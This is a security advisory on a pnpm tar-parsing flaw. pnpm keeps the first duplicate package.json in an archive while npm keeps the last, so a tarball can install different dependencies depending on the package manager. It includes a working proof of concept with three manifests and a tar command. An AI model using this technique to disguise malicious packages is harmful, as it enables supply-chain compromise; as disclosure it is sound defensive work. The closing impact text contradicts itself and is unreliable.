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GHSA-5r98-f33j-g8h7
No affected components available
Summary
It is possible to construct a tarball that, when installed via npm or parsed by the registry is safe, but when installed via pnpm is malicious, due to how pnpm parses tar archives.
Details
The TAR format is an append-only archive format, and as such, the specification for how to update a file is to add a new record to the end with the updated version of the file. This means that it is completely valid for an archive to contain multiple copies of, say, package.json, and the expected behavior when extracting is that all versions other than the last get ignored.
This is further complicated by that during tarball extraction, all package managers are configured to drop the first path component, so collisions can be created simply by using multiple root folders in the archive, even without performing updates.
When pnpm extracts a tar archive via tar-stream, it appears to extract only the first file of a given name and discards all subsequent files with the same name.
PoC
Create a root folder with the following layout:
a/package.jsonpackage/package.jsonz/package.json
File contents:
a/package.json
{
"name": "test-package",
"version": "0.1.0",
"description": "This is a bad version of a test package",
"dependencies": {
"react": "^15"
}
}
package/package.json
{
"name": "test-package",
"version": "0.1.0",
"description": "This is a bad version of a test package",
"dependencies": {
"react": "^16"
}
}
z/package.json
{
"name": "test-package",
"version": "0.1.0",
"description": "This is the good version of a test package",
"dependencies": {
"react": "^17"
}
}
Then use the tar binary to produce a tarball (working directory is the root folder):
tar -c -z --format ustar -f package.tgz a package z
The order of the folders at the end matters; whichever one is last will end up being the package.json that wins when extracted by npm; the one that is first will be the one that wins when extracted by pnpm.
Install the tarball via the file: protocol.
Observe that with npm, the lockfile has react@17, while with pnpm it has react@15.
Impact
This can result in a package that appears safe on the npm registry or when installed via npm being replaced with a compromised or malicious version when installed via pnpm.
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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